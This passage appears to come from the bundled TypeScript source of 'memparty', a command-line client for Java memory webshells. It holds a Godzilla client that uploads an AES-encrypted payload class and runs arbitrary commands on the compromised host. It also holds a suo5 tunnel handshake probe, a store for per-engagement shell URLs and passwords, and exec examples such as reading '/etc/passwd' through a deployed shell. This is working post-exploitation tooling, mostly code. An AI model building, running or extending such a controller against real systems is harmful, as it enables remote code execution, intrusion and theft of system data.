wrapper)\n * 1. POST `pass=urlencode(base64(AES(payloadClass)))` — the shell stores the\n * payload class (static field or http session, hence the cookie relay)\n * 2. POST `pass=urlencode(base64(AES(gzip(serialize({methodName:\"test\"})))))`\n * 3. response = md5[0:16] + base64(AES(gzip(\"ok\"))) + md5[16:32]\n * 4. connected iff the decrypted, gunzipped body says \"ok\"\n */\nimport { GODZILLA_PAYLOAD_BYTES } from \"./assets.js\";\nimport { aesEcbDecrypt, aesEcbEncrypt, gunzipLenient, gzip, md5Hex, md5Key16 } from \"./crypto.js\";\nimport { extractCookies, postRaw, type RawPostResult } from \"./http.js\";\nimport {\n buildHeaders,\n type CommonConnectOptions,\n type ConnectTestResult,\n type ExecResult,\n} from \"./types.js\";\n\n/** Godzilla's `Parameter.serialize`: key bytes + 0x02 + little-endian u32 length + value. */\nfunction serializeParams(params: Array<[string, Buffer]>): Buffer {\n const parts: Buffer[] = [];\n for (const [key, value] of params) {\n const len = Buffer.alloc(4);\n len.writeUInt32LE(value.length, 0);\n parts.push(Buffer.from(key, \"utf8\"), Buffer.from([0x02]), len, value);\n }\n return Buffer.concat(parts);\n}\n\nfunction encodeBody(pass: string, xc: string, data: Buffer): Buffer {\n const encrypted = aesEcbEncrypt(data, xc).toString(\"base64\");\n return Buffer.from(`${pass}=${encodeURIComponent(encrypted)}`, \"utf8\");\n}\n\nfunction excerpt(body: Buffer): string {\n const text = body\n .toString(\"latin1\")\n .replace(/[^\\x20-\\x7e]+/g, \" \")\n .trim();\n return text.length > 200 ? `${text.slice(0, 200)}...` : text;\n}\n\nexport async function testGodzilla(\n url: string,\n pass: string,\n key: string,\n options: CommonConnectOptions = {},\n): Promise<ConnectTestResult> {\n const started = Date.now();\n const xc = md5Key16(key);\n const wrapper = md5Hex(pass + xc).toUpperCase();\n const left = wrapper.slice(0, 16);\n const right = wrapper.slice(16);\n\n const baseHeaders = buildHeaders(\n { \"Content-Type\": \"application/x-www-form-urlencoded\" },\n options,\n );\n const post = (data: Buffer, cookie?: string) =>\n postRaw(url, encodeBody(pass, xc, data), {\n headers: cookie ? { ...baseHeaders, Cookie: cookie } : baseHeaders,\n timeoutMs: options.timeoutMs,\n insecure: options.insecure,\n });\n\n // ---- request 1: upload the payload class ----\n let initResponse;\n try {\n initResponse = await post(GODZILLA_PAYLOAD_BYTES);\n } catch (err) {\n return {\n ok: false,\n tool: \"godzilla\",\n url,\n error: err instanceof Error ? err.message : String(err),\n durationMs: Date.now() - started,\n };\n }\n const cookies = extractCookies(initResponse.headers);\n const cookie = cookies.length > 0 ? cookies.join(\"; \") : undefined;\n\n // ---- request 2: invoke method \"test\" on the payload ----\n const callData = gzip(serializeParams([[\"methodName\", Buffer.from(\"test\", \"utf8\")]]));\n let testResponse;\n try {\n testResponse = await post(callData, cookie);\n } catch (err) {\n return {\n ok: false,\n tool: \"godzilla\",\n url,\n error: err instanceof Error ? err.message : String(err),\n durationMs: Date.now() - started,\n };\n }\n\n const text = testResponse.body.toString(\"latin1\");\n const leftIdx = text.indexOf(left);\n const rightIdx = leftIdx === -1 ? -1 : text.indexOf(right, leftIdx + left.length);\n if (leftIdx === -1 || rightIdx === -1) {\n return {\n ok: false,\n tool: \"godzilla\",\n url,\n error:\n `HTTP ${testResponse.status}, response lacks the Godzilla wrapper` +\n (text.trim().length > 0 ? ` (starts with: ${excerpt(testResponse.body)})` : \" (empty body)\") +\n \" — wrong pass/key, missing gate header, or not a Godzilla shell\",\n durationMs: Date.now() - started,\n };\n }\n\n const wrapped = text.slice(leftIdx + left.length, rightIdx);\n try {\n const decrypted = aesEcbDecrypt(Buffer.from(wrapped, \"base64\"), xc);\n const result = gunzipLenient(decrypted).toString(\"utf8\").trim();\n if (result === \"ok\") {\n return {\n ok: true,\n tool: \"godzilla\",\n url,\n detail: `payload uploaded, \"test\" returned ok (HTTP ${testResponse.status})`,\n durationMs: Date.now() - started,\n };\n }\n return {\n ok: false,\n tool: \"godzilla\",\n url,\n error: `decrypted response is ${JSON.stringify(result)}, expected \"ok\"`,\n durationMs: Date.now() - started,\n };\n } catch {\n return {\n ok: false,\n tool: \"godzilla\",\n url,\n error: \"found wrapper but failed to decrypt — wrong key?\",\n durationMs: Date.now() - started,\n };\n }\n}\n\nexport interface GodzillaExecOptions extends CommonConnectOptions {\n /**\n * Remote OS family, used to pick the shell wrapper (`cmd.exe /c` vs\n * `/bin/sh -c`). \"auto\" (default) asks the payload's `getBasicsInfo`\n * first — one extra request per exec.\n */\n os?: \"auto\" | \"windows\" | \"linux\";\n}\n\n/**\n * Godzilla command execution — invokes the payload's `execCommand` method.\n *\n * Same transport as the connect test (payload upload + cookie relay), then:\n * methodName=execCommand, argsCount=N, arg-0..arg-(N-1) = argv\n * The payload runs `Runtime.exec(argv)` (no shell of its own), so the\n * command line is wrapped in `cmd.exe /c` or `/bin/sh -c` here.\n */\nexport async function execGodzilla(\n url: string,\n pass: string,\n key: string,\n command: string,\n options: GodzillaExecOptions = {},\n): Promise<ExecResult> {\n const started = Date.now();\n const xc = md5Key16(key);\n const wrapper = md5Hex(pass + xc).toUpperCase();\n const left = wrapper.slice(0, 16);\n const right = wrapper.slice(16);\n\n const fail = (error: string): ExecResult => ({\n ok: false,\n tool: \"godzilla\",\n url,\n command,\n error,\n durationMs: Date.now() - started,\n });\n\n const baseHeaders = buildHeaders(\n { \"Content-Type\": \"application/x-www-form-urlencoded\" },\n options,\n );\n const post = (data: Buffer, cookie?: string) =>\n postRaw(url, encodeBody(pass, xc, data), {\n headers: cookie ? { ...baseHeaders, Cookie: cookie } : baseHeaders,\n timeoutMs: options.timeoutMs,\n insecure: options.insecure,\n });\n\n // ---- request 1: upload the payload class ----\n let initResponse: RawPostResult;\n try {\n initResponse = await post(GODZILLA_PAYLOAD_BYTES);\n } catch (err) {\n return fail(err instanceof Error ? err.message : String(err));\n }\n const cookies = extractCookies(initResponse.headers);\n const cookie = cookies.length > 0 ? cookies.join(\"; \") : undefined;\n\n // Invoke a payload method, returning the decrypted + gunzipped result.\n const callMethod = async (\n methodName: string,\n extraParams: Array<[string, Buffer]> = [],\n ): Promise<Buffer> => {\n const callData = gzip(\n serializeParams([[\"methodName\", Buffer.from(methodName, \"utf8\")], ...extraParams]),\n );\n const res = await post(callData, cookie);\n const text = res.body.toString(\"latin1\");\n const leftIdx = text.indexOf(left);\n const rightIdx = leftIdx === -1 ? -1 : text.indexOf(right, leftIdx + left.length);\n if (leftIdx === -1 || rightIdx === -1) {\n throw new Error(\n `HTTP ${res.status}, response lacks the Godzilla wrapper` +\n (text.trim().length > 0 ? ` (starts with: ${excerpt(res.body)})` : \" (empty body)\") +\n \" — wrong pass/key, missing gate header, or not a Godzilla shell\",\n );\n }\n const wrapped = text.slice(leftIdx + left.length, rightIdx);\n return gunzipLenient(aesEcbDecrypt(Buffer.from(wrapped, \"base64\"), xc));\n };\n\n // ---- request 2 (optional): detect the remote OS ----\n let os = options.os ?? \"auto\";\n if (os === \"auto\") {\n try {\n const info = (await callMethod(\"getBasicsInfo\")).toString(\"utf8\");\n const osLine = info.split(\"\\n\").find((l) => l.startsWith(\"OsInfo :\")) ?? info;\n os = /os\\.name:[^\\n]*windows/i.test(osLine) ? \"windows\" : \"linux\";\n } catch (err) {\n return fail(err instanceof Error ? err.message : String(err));\n }\n }\n\n // ---- request 3: execCommand ----\n const argv =\n os === \"windows\" ? [\"cmd.exe\", \"/c\", command] : [\"/bin/sh\", \"-c\", command];\n const params: Array<[string, Buffer]> = [\n [\"argsCount\", Buffer.from(String(argv.length), \"utf8\")],\n ...argv.map((arg, i): [string, Buffer] => [`arg-${i}`, Buffer.from(arg, \"utf8\")]),\n ];\n try {\n const output = await callMethod(\"execCommand\", params);\n return {\n ok: true,\n tool: \"godzilla\",\n url,\n command,\n output: output.toString(\"utf8\"),\n durationMs: Date.now() - started,\n };\n } catch (err) {\n if (err instanceof Error && err.message.includes(\"wrapper\")) {\n return fail(err.message);\n }\n return fail(\n `found wrapper but failed to decrypt — wrong key? (${err instanceof Error ? err.message : String(err)})`,\n );\n }\n}\n","/**\n * suo5 connection test.\n *\n * Two wire protocols exist in the wild:\n *\n * - \"v2\": the zema1/suo5 protocol (also what MemShellParty's `Suo5v2` shells\n * and the real suo5.jsp speak). Connection test = the client's\n * `checkConnectMode` in classic mode: POST one base64 frame\n * `{ac:0x01, id, dt:identifier, a:0x00, m:0x00(checking)}`; the shell echoes\n * `dt` in frame 1 and returns a session id in frame 2.\n *\n * - \"v1\": MemShellParty's legacy `Suo5` shell (raw binary single-byte-XOR\n * frames). Its full-duplex probe (`Content-Type: application/plain`) echoes\n * back 32 bytes verbatim — that round-trip is the liveness check.\n */\nimport { randomBytes } from \"node:crypto\";\nimport { base64UrlDecode, base64UrlEncode, randomString } from \"./crypto.js\";\nimport { postRaw } from \"./http.js\";\nimport { buildHeaders, type CommonConnectOptions, type ConnectTestResult } from \"./types.js\";\n\nexport type Suo5Mode = \"auto\" | \"v2\" | \"v1\";\n\nexport interface Suo5ConnectOptions extends CommonConnectOptions {\n mode?: Suo5Mode;\n}\n\n// ---------- frame codec (zema1/suo5 netrans.DataFrame, base64 variant) ----------\n\n/** suo5's `Marshal`: [klen u8][key][vlen u32 BE][value] per entry. */\nexport function marshalSuo5Map(entries: Array<[string, Buffer]>): Buffer {\n const parts: Buffer[] = [];\n for (const [key, value] of entries) {\n const keyBytes = Buffer.from(key, \"utf8\");\n const len = Buffer.alloc(4);\n len.writeUInt32BE(value.length, 0);\n parts.push(Buffer.from([keyBytes.length]), keyBytes, len, value);\n }\n return Buffer.concat(parts);\n}\n\nexport function unmarshalSuo5Map(data: Buffer): Map<string, Buffer> {\n const map = new Map<string, Buffer>();\n let off = 0;\n while (off < data.length - 1) {\n const kLen = data[off]!;\n off += 1;\n if (off + kLen > data.length) throw new Error(\"unexpected eof when read key\");\n const key = data.toString(\"utf8\", off, off + kLen);\n off += kLen;\n if (off + 4 > data.length) throw new Error(\"unexpected eof when read value size\");\n const vLen = data.readUInt32BE(off);\n off += 4;\n if (off + vLen > data.length) throw new Error(\"unexpected eof when read value\");\n map.set(key, data.subarray(off, off + vLen));\n off += vLen;\n }\n return map;\n}\n\n/** suo5's `DataFrame.MarshalBinaryBase64`. */\nexport function marshalFrameBase64(data: Buffer): Buffer {\n const obs = randomBytes(2);\n const xored = Buffer.from(data);\n for (let i = 0; i < xored.length; i++) xored[i] = xored[i]! ^ obs[i % 2]!;\n const dataB64 = base64UrlEncode(xored);\n\n const header = Buffer.alloc(6);\n obs.copy(header, 0);\n header.writeUInt32BE(Buffer.byteLength(dataB64), 2);\n for (let i = 2; i < 6; i++) header[i] = header[i]! ^ obs[i % 2]!;\n\n return Buffer.concat([Buffer.from(base64UrlEncode(header)), Buffer.from(dataB64)]);\n}\n\nexport interface Suo5Frame {\n data: Buffer;\n /** offset just past this frame */\n next: number;\n}\n\n/** suo5's `ReadFrameBase64` over a flat buffer. Throws on truncation. */\nexport function unmarshalFrameBase64(buf: Buffer, offset = 0): Suo5Frame {\n if (buf.length - offset < 8) throw new Error(\"failed to read header base64: truncated\");\n const header = base64UrlDecode(buf.toString(\"latin1\", offset, offset + 8));\n if (header.length !== 6) throw new Error(\"invalid header length\");\n const obs = header.subarray(0, 2);\n for (let i = 2; i < 6; i++) header[i] = header[i]! ^ obs[(i - 2) % 2]!;\n const dataLength = header.readUInt32BE(2);\n if (dataLength > 32 * 1024 * 1024) throw new Error(`frame is too big, ${dataLength}`);\n const dataStart = offset + 8;\n if (buf.length - dataStart < dataLength) throw new Error(\"failed to read data base64: truncated\");\n const data = base64UrlDecode(buf.toString(\"latin1\", dataStart, dataStart + dataLength));\n for (let i = 0; i < data.length; i++) data[i] = data[i]! ^ obs[i % 2]!;\n return { data, next: dataStart + dataLength };\n}\n\n// ---------- v2 handshake ----------\n\nasync function testSuo5V2(\n url: string,\n options: CommonConnectOptions,\n): Promise<{ ok: boolean; detail?: string; error?: string }> {\n const identifier = randomString(48);\n const frame = marshalFrameBase64(\n marshalSuo5Map([\n [\"ac\", Buffer.from([0x01])], // ActionData\n [\"id\", randomBytes(8)],\n [\"dt\", Buffer.from(identifier, \"utf8\")],\n [\"a\", Buffer.from([0x00])], // classic (non-streaming) check\n [\"m\", Buffer.from([0x00])], // ConnectionType.Checking\n [\"_\", randomBytes(Math.floor(Math.random() * 64))], // junk\n ]),\n );\n\n let response;\n try {\n response = await postRaw(url, frame, {\n headers: buildHeaders({ \"Content-Type\": \"application/octet-stream\" }, options),\n timeoutMs: options.timeoutMs,\n insecure: options.insecure,\n });\n } catch (err) {\n return { ok: false, error: err instanceof Error ? err.message : String(err) };\n }\n\n try {\n const echoFrame = unmarshalFrameBase64(response.body, 0);\n const echoMap = unmarshalSuo5Map(echoFrame.data);\n const echoed = echoMap.get(\"dt\")?.toString(\"utf8\");\n if (echoed !== identifier) {\n return {\n ok: false,\n error: `HTTP ${response.status}, first frame did not echo the identifier (got ${\n echoed === undefined ? \"no dt field\" : JSON.stringify(echoed.slice(0, 64))\n })`,\n };\n }\n const sessionFrame = unmarshalFrameBase64(response.body, echoFrame.next);\n const sessionMap = unmarshalSuo5Map(sessionFrame.data);\n const sid = sessionMap.get(\"dt\")?.toString(\"utf8\");\n if (!sid) {\n return { ok: false, error: \"second frame carries no session id\" };\n }\n return { ok: true, detail: `suo5 v2 handshake ok (session ${sid}, HTTP ${response.status})` };\n } catch (err) {\n return {\n ok: false,\n error: `HTTP ${response.status}, response is not valid suo5 frames (${\n err instanceof Error ? err.message : String(err)\n })`,\n };\n }\n}\n\n// ---------- v1 plain echo ----------\n\nasync function testSuo5V1(\n url: string,\n options: CommonConnectOptions,\n): Promise<{ ok: boolean; detail?: string; error?: string }> {\n const probe = randomBytes(32);\n let response;\n try {\n response = await postRaw(url, probe, {\n headers: buildHeaders({ \"Content-Type\": \"application/plain\" }, options),\n timeoutMs: options.timeoutMs,\n insecure: options.insecure,\n });\n } catch (err) {\n return { ok: false, error: err instanceof Error ? err.message : String(err) };\n }\n if (response.body.equals(probe)) {\n return {\n ok: true,\n detail: `suo5 v1 full-duplex echo ok (32 bytes round-trip, HTTP ${response.status})`,\n };\n }\n return {\n ok: false,\n error: `HTTP ${response.status}, expected the 32 probe bytes echoed back, got ${response.body.length} different bytes`,\n };\n}\n\nexport async function testSuo5(\n url: string,\n options: Suo5ConnectOptions = {},\n): Promise<ConnectTestResult> {\n const started = Date.now();\n const mode = options.mode ?? \"auto\";\n const failures: string[] = [];\n\n if (mode === \"v2\" || mode === \"auto\") {\n const v2 = await testSuo5V2(url, options);\n if (v2.ok) {\n return { ok: true, tool: \"suo5\", url, detail: v2.detail, durationMs: Date.now() - started };\n }\n failures.push(`v2: ${v2.error}`);\n if (mode === \"v2\") {\n return {\n ok: false,\n tool: \"suo5\",\n url,\n error: `${v2.error} — not a suo5(v2) shell?`,\n durationMs: Date.now() - started,\n };\n }\n }\n if (mode === \"v1\" || mode === \"auto\") {\n const v1 = await testSuo5V1(url, options);\n if (v1.ok) {\n return { ok: true, tool: \"suo5\", url, detail: v1.detail, durationMs: Date.now() - started };\n }\n failures.push(`v1: ${v1.error}`);\n }\n\n return {\n ok: false,\n tool: \"suo5\",\n url,\n error: failures.join(\"; \") + \" — not a suo5 shell (or missing gate header)\",\n durationMs: Date.now() - started,\n };\n}\n","/**\n * Global operation log — every gen / probe / connect / exec / target\n * operation is appended as one JSON line, giving an auditable trail of\n * what ran, against which target, and how it ended.\n *\n * Location: ~/.memparty/operations.jsonl (override with MEMPARTY_OPLOG).\n * Logging is best-effort: a broken log file/dir must never break the\n * operation being logged.\n *\n * Secrets are never logged: no pass/key/headerValue, no payload bytes.\n * Exec output is truncated (see OUTPUT_LIMIT).\n */\nimport { appendFileSync, existsSync, mkdirSync, readFileSync } from \"node:fs\";\nimport { homedir } from \"node:os\";\nimport { dirname, join } from \"node:path\";\n\nexport type OpCategory = \"gen\" | \"probe\" | \"connect\" | \"exec\" | \"target\";\n\nexport interface OpLogEntry {\n /** ISO timestamp. */\n ts: string;\n category: OpCategory;\n /** What happened: \"gen\" | \"probe\" | \"connect\" | \"exec\" | \"save\" | \"note\" | \"remove\". */\n action: string;\n /** Saved `project/shell` reference, when the operation used one. */\n targetName?: string;\n url?: string;\n tool?: string;\n ok: boolean;\n durationMs?: number;\n /** Short human-readable success detail. */\n detail?: string;\n error?: string;\n /** exec only: the command line. */\n command?: string;\n /** exec only: remote output, truncated to OUTPUT_LIMIT. */\n output?: string;\n outputTruncated?: boolean;\n /** Extra structured fields (target meta, gen params — never credentials). */\n meta?: Record<string, unknown>;\n}\n\n/** exec output is truncated to this many characters in the log. */\nexport const OUTPUT_LIMIT = 2000;\n\nexport function opLogPath(): string {\n return process.env.MEMPARTY_OPLOG ?? join(homedir(), \".memparty\", \"operations.jsonl\");\n}\n\n/** Append one entry. Never throws. */\nexport function logOp(entry: Omit<OpLogEntry, \"ts\">): void {\n try {\n const file = opLogPath();\n mkdirSync(dirname(file), { recursive: true });\n appendFileSync(file, `${JSON.stringify({ ts: new Date().toISOString(), ...entry })}\\n`);\n } catch {\n // best-effort logging — the operation itself already completed\n }\n}\n\nexport interface OpFilter {\n category?: OpCategory;\n /**\n * Match by saved target reference (\"hw222\" also matches \"hw222/bh9060\")\n * or by a substring of the URL (e.g. a host).\n */\n target?: string;\n /** Max entries returned (default 50). */\n limit?: number;\n}\n\n/** Read entries matching the filter, newest first. */\nexport function readOps(filter: OpFilter = {}): OpLogEntry[] {\n let entries: OpLogEntry[] = [];\n try {\n const file = opLogPath();\n if (existsSync(file)) {\n for (const line of readFileSync(file, \"utf8\").split(\"\\n\")) {\n const trimmed = line.trim();\n if (!trimmed) continue;\n try {\n entries.push(JSON.parse(trimmed) as OpLogEntry);\n } catch {\n // skip malformed lines\n }\n }\n }\n } catch {\n return [];\n }\n if (filter.category) {\n entries = entries.filter((e) => e.category === filter.category);\n }\n if (filter.target) {\n const t = filter.target;\n entries = entries.filter(\n (e) =>\n e.targetName === t || e.targetName?.startsWith(`${t}/`) || e.url?.includes(t),\n );\n }\n return entries.slice(-(filter.limit ?? 50)).reverse();\n}\n\n/** Truncate exec output for the log. */\nexport function truncateOutput(output: string): { output: string; truncated: boolean } {\n if (output.length <= OUTPUT_LIMIT) return { output, truncated: false };\n return { output: output.slice(0, OUTPUT_LIMIT), truncated: true };\n}\n\n/** One-line rendering for `memparty log`. */\nexport function formatOp(e: OpLogEntry): string {\n const ts = e.ts.replace(\"T\", \" \").slice(0, 19);\n const cat = e.category.padEnd(7);\n const status = e.ok ? \"ok \" : \"FAIL\";\n const target = e.targetName ?? e.url ?? \"-\";\n const ms = e.durationMs !== undefined ? ` (${e.durationMs}ms)` : \"\";\n let summary: string;\n if (e.category === \"exec\") {\n const out = (e.output ?? e.error ?? \"\").split(\"\\n\", 1)[0]!;\n const more =\n (e.output ?? \"\").includes(\"\\n\") || e.outputTruncated ? \"…\" : \"\";\n summary = `$ ${e.command ?? \"\"} → ${out}${more}`;\n } else {\n summary = e.detail ?? e.error ?? e.action;\n }\n return `${ts} ${cat} ${status} ${target} ${summary}${ms}`;\n}\n","/**\n * Named shell targets persisted to a JSON file, so a shell's URL +\n * credentials + gate header are saved once and later referenced by name:\n * memparty exec hw222/bh9060 --cmd \"whoami\"\n *\n * A **project** groups several shells that belong to one engagement, with\n * an optional remark and category. A shell reference is `<project>/<shell>`;\n * a bare project name resolves when it holds exactly one shell.\n *\n * Store location: ~/.memparty/targets.json (override with MEMPARTY_TARGETS).\n */\nimport { existsSync, mkdirSync, readFileSync, writeFileSync } from \"node:fs\";\nimport { homedir } from \"node:os\";\nimport { dirname, join } from \"node:path\";\n\nimport type { ConnectTool } from \"../connect/types.js\";\n\n/** A saved shell connection profile, stored inside a project. */\nexport interface StoredShell {\n url: string;\n tool: ConnectTool;\n pass?: string;\n key?: string;\n headerName?: string;\n headerValue?: string;\n extraHeaders?: Record<string, string>;\n insecure?: boolean;\n /** Free-form note for this shell (e.g. \"DMZ 跳板机\"). */\n remark?: string;\n createdAt: string;\n updatedAt: string;\n}\n\nexport type ShellInput = Omit<StoredShell, \"createdAt\" | \"updatedAt\">;\n\n/** A named group of shells with a remark and a category. */\nexport interface StoredProject {\n remark?: string;\n category?: string;\n createdAt: string;\n updatedAt: string;\n shells: Record<string, StoredShell>;\n}\n\nconst NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;\n\nfunction checkName(kind: string, name: string): void {\n if (!NAME_RE.test(name)) {\n throw new Error(\n `invalid ${kind} name ${JSON.stringify(name)} — use letters, digits, '.', '_', '-'`,\n );\n }\n}\n\nexport function targetStorePath(): string {\n return process.env.MEMPARTY_TARGETS ?? join(homedir(), \".memparty\", \"targets.json\");\n}\n\nexport function listProjects(): Record<string, StoredProject> {\n try {\n const file = targetStorePath();\n if (!existsSync(file)) return {};\n const data: unknown = JSON.parse(readFileSync(file, \"utf8\"));\n if (data !== null && typeof data === \"object\" && !Array.isArray(data)) {\n return data as Record<string, StoredProject>;\n }\n } catch {\n // corrupted store — treat as empty rather than crash the CLI\n }\n return {};\n}\n\nexport function getProject(name: string): StoredProject | null {\n return listProjects()[name] ?? null;\n}\n\nfunction writeProjects(projects: Record<string, StoredProject>): void {\n const file = targetStorePath();\n mkdirSync(dirname(file), { recursive: true });\n writeFileSync(file, `${JSON.stringify(projects, null, 2)}\\n`, { mode: 0o600 });\n}\n\n/** Create a project or update its remark/category (only given fields change). */\nexport function saveProjectMeta(\n name: string,\n meta: { remark?: string; category?: string },\n): StoredProject {\n checkName(\"project\", name);\n const projects = listProjects();\n const now = new Date().toISOString();\n const existing = projects[name];\n const norm = (v: string | undefined) => (v ? v : undefined);\n const project: StoredProject = {\n remark: meta.remark !== undefined ? norm(meta.remark) : existing?.remark,\n category: meta.category !== undefined ? norm(meta.category) : existing?.category,\n createdAt: existing?.createdAt ?? now,\n updatedAt: now,\n shells: existing?.shells ?? {},\n };\n projects[name] = project;\n writeProjects(projects);\n return project;\n}\n\n/** Save a shell under `<project>/<shell>`; creates the project if needed. */\nexport function saveShell(projectName: string, shellName: string, input: ShellInput): StoredShell {\n checkName(\"project\", projectName);\n checkName(\"shell\", shellName);\n const projects = listProjects();\n const now = new Date().toISOString();\n const project = projects[projectName] ?? {\n createdAt: now,\n updatedAt: now,\n shells: {},\n };\n const existing = project.shells[shellName];\n const stored: StoredShell = {\n ...input,\n // remark is merged (empty string clears); other fields are overwritten\n remark: input.remark !== undefined ? input.remark || undefined : existing?.remark,\n createdAt: existing?.createdAt ?? now,\n updatedAt: now,\n };\n project.shells[shellName] = stored;\n project.updatedAt = now;\n projects[projectName] = project;\n writeProjects(projects);\n return stored;\n}\n\n/** Remove a whole project. Returns false when it did not exist. */\nexport function removeProject(name: string): boolean {\n const projects = listProjects();\n if (!(name in projects)) return false;\n delete projects[name];\n writeProjects(projects);\n return true;\n}\n\n/** Remove one shell from a project. Returns false when it did not exist. */\nexport function removeShell(projectName: string, shellName: string): boolean {\n const projects = listProjects();\n const project = projects[projectName];\n if (!project || !(shellName in project.shells)) return false;\n delete project.shells[shellName];\n project.updatedAt = new Date().toISOString();\n writeProjects(projects);\n return true;\n}\n\n/** Set or clear (empty string) a shell's remark. */\nexport function saveShellMeta(\n projectName: string,\n shellName: string,\n meta: { remark?: string },\n): StoredShell {\n const projects = listProjects();\n const shell = projects[projectName]?.shells[shellName];\n if (!shell) {\n throw new Error(`unknown shell ${JSON.stringify(`${projectName}/${shellName}`)}`);\n }\n if (meta.remark !== undefined) {\n shell.remark = meta.remark || undefined;\n }\n const now = new Date().toISOString();\n shell.updatedAt = now;\n projects[projectName]!.updatedAt = now;\n writeProjects(projects);\n return shell;\n}\n\n/** CLI/MCP flags that can override a stored shell's values. */\nexport interface ConnectionFlags {\n url?: string;\n tool?: string;\n pass?: string;\n key?: string;\n headerName?: string;\n headerValue?: string;\n extraHeaders?: Record<string, string>;\n insecure?: boolean;\n}\n\nexport interface ResolvedConnection {\n url: string;\n tool: ConnectTool;\n pass?: string;\n key?: string;\n headerName?: string;\n headerValue?: string;\n extraHeaders: Record<string, string>;\n insecure?: boolean;\n /** Canonical `project/shell` reference, when resolved from the store. */\n targetName?: string;\n}\n\n/**\n * Merge an optional saved shell reference (`<project>/<shell>` or a bare\n * project holding exactly one shell) with explicit flags.\n * Priority: explicit flag > stored value.\n */\nexport function resolveConnection(\n ref: string | undefined,\n flags: ConnectionFlags,\n): ResolvedConnection {\n let stored: StoredShell | undefined;\n let targetName: string | undefined;\n\n if (ref) {\n const slash = ref.indexOf(\"/\");\n const projectName = slash === -1 ? ref : ref.slice(0, slash);\n let shellName = slash === -1 ? undefined : ref.slice(slash + 1);\n\n const project = getProject(projectName);\n if (!project) {\n throw new Error(`unknown project ${JSON.stringify(projectName)} — see 'memparty target list'`);\n }\n if (!shellName) {\n const names = Object.keys(project.shells);\n if (names.length === 0) {\n throw new Error(`project ${JSON.stringify(projectName)} has no shells yet`);\n }\n if (names.length > 1) {\n throw new Error(\n `project ${JSON.stringify(projectName)} has ${names.length} shells — pick one: ` +\n names.map((n) => `${projectName}/${n}`).join(\", \"),\n );\n }\n shellName = names[0]!;\n }\n stored = project.shells[shellName];\n if (!stored) {\n const known = Object.keys(project.shells);\n throw new Error(\n `unknown shell ${JSON.stringify(ref)} — project ${JSON.stringify(projectName)} has: ` +\n (known.length > 0 ? known.join(\", \") : \"(none)\"),\n );\n }\n targetName = `${projectName}/${shellName}`;\n }\n\n const tool = (flags.tool ?? stored?.tool) as ConnectTool | undefined;\n const url = flags.url ?? stored?.url;\n if (!url) {\n throw new Error(\"no URL — pass --url or a saved target name\");\n }\n if (!tool) {\n throw new Error(\"--tool is required (godzilla | behinder | suo5)\");\n }\n return {\n url,\n tool,\n pass: flags.pass ?? stored?.pass,\n key: flags.key ?? stored?.key,\n headerName: flags.headerName ?? stored?.headerName,\n headerValue: flags.headerValue ?? stored?.headerValue,\n extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },\n insecure: flags.insecure ?? stored?.insecure,\n targetName,\n };\n}\n","import { Command, Option } from \"commander\";\n\nimport type { GlobalOptions } from \"../cli-context.js\";\nimport { execBehinder } from \"../connect/behinder.js\";\nimport { execGodzilla, type GodzillaExecOptions } from \"../connect/godzilla.js\";\nimport type { CommonConnectOptions, ExecResult } from \"../connect/types.js\";\nimport { logOp, truncateOutput } from \"../core/oplog.js\";\nimport { resolveConnection } from \"../core/targets.js\";\n\ninterface ExecCmdOptions extends GlobalOptions {\n url?: string;\n tool?: string;\n pass?: string;\n key?: string;\n cmd?: string;\n os?: \"auto\" | \"windows\" | \"linux\";\n headerName?: string;\n headerValue?: string;\n header?: string[];\n insecure?: boolean;\n json?: boolean;\n}\n\nfunction parseExtraHeaders(lines: string[] | undefined): Record<string, string> {\n const headers: Record<string, string> = {};\n for (const line of lines ?? []) {\n const idx = line.indexOf(\":\");\n if (idx <= 0) {\n throw new Error(`invalid header ${JSON.stringify(line)}, expected \"Name: value\"`);\n }\n headers[line.slice(0, idx).trim()] = line.slice(idx + 1).trim();\n }\n return headers;\n}\n\nexport function registerExecCommand(program: Command): void {\n program\n .command(\"exec\")\n .description(\n \"Execute a command on a deployed webshell (Godzilla / Behinder) and print its output\",\n )\n .argument(\"[name]\", \"saved target name (see 'memparty target list')\")\n .option(\"-u, --url <url>\", \"URL of the deployed shell (or give a saved target name)\")\n .addOption(\n new Option(\"-t, --tool <tool>\", \"shell tool\").choices([\"godzilla\", \"behinder\"]),\n )\n .requiredOption(\"--cmd <command>\", \"command line to execute on the target\")\n .option(\"--pass <pass>\", \"password (godzilla default: pass; behinder default: rebeyond)\")\n .option(\"--key <key>\", \"godzilla key\", \"key\")\n .addOption(\n new Option(\"--os <family>\", \"godzilla: remote OS for the shell wrapper\")\n .choices([\"auto\", \"windows\", \"linux\"])\n .default(\"auto\"),\n )\n .option(\n \"--header-name <name>\",\n \"gate header name reported by gen (shellToolConfig.headerName)\",\n )\n .option(\n \"--header-value <value>\",\n \"gate header value reported by gen (shellToolConfig.headerValue)\",\n )\n .option(\"-H, --header <line...>\", 'extra request header, e.g. -H \"Cookie: a=b\"')\n .option(\"-k, --insecure\", \"skip TLS certificate verification\")\n .option(\"--json\", \"output raw JSON\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key \\\\\n --header-value qSGAJScj --cmd \"whoami\"\n $ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond \\\\\n --header-value YdwTyuQr --cmd \"cat /etc/passwd\"\n $ memparty exec web222 --cmd \"whoami\" # saved target, see 'memparty target'\n $ memparty exec -u http://target/shell.jsp -t godzilla --os windows \\\\\n --cmd \"ipconfig /all\" --json\n\nNote: godzilla auto-detects the remote OS (one extra request) to pick\ncmd.exe vs /bin/sh — pass --os to skip the detection. Behinder detects\nthe OS inside its payload, so --os does not apply.\n`,\n )\n .action(async (name: string | undefined, opts: ExecCmdOptions, cmd: Command) => {\n const globals = cmd.optsWithGlobals() as GlobalOptions & { timeout?: string };\n const timeoutMs = Number.parseInt(globals.timeout ?? \"30000\", 10);\n\n let conn;\n try {\n conn = resolveConnection(name, {\n url: opts.url,\n tool: opts.tool,\n pass: opts.pass,\n key: opts.key,\n headerName: opts.headerName,\n headerValue: opts.headerValue,\n extraHeaders: parseExtraHeaders(opts.header),\n insecure: opts.insecure,\n });\n } catch (err) {\n process.stderr.write(`Error: ${err instanceof Error ? err.message : String(err)}\\n`);\n process.exitCode = 1;\n return;\n }\n\n const common: CommonConnectOptions = {\n headerName: conn.headerName,\n headerValue: conn.headerValue,\n extraHeaders: 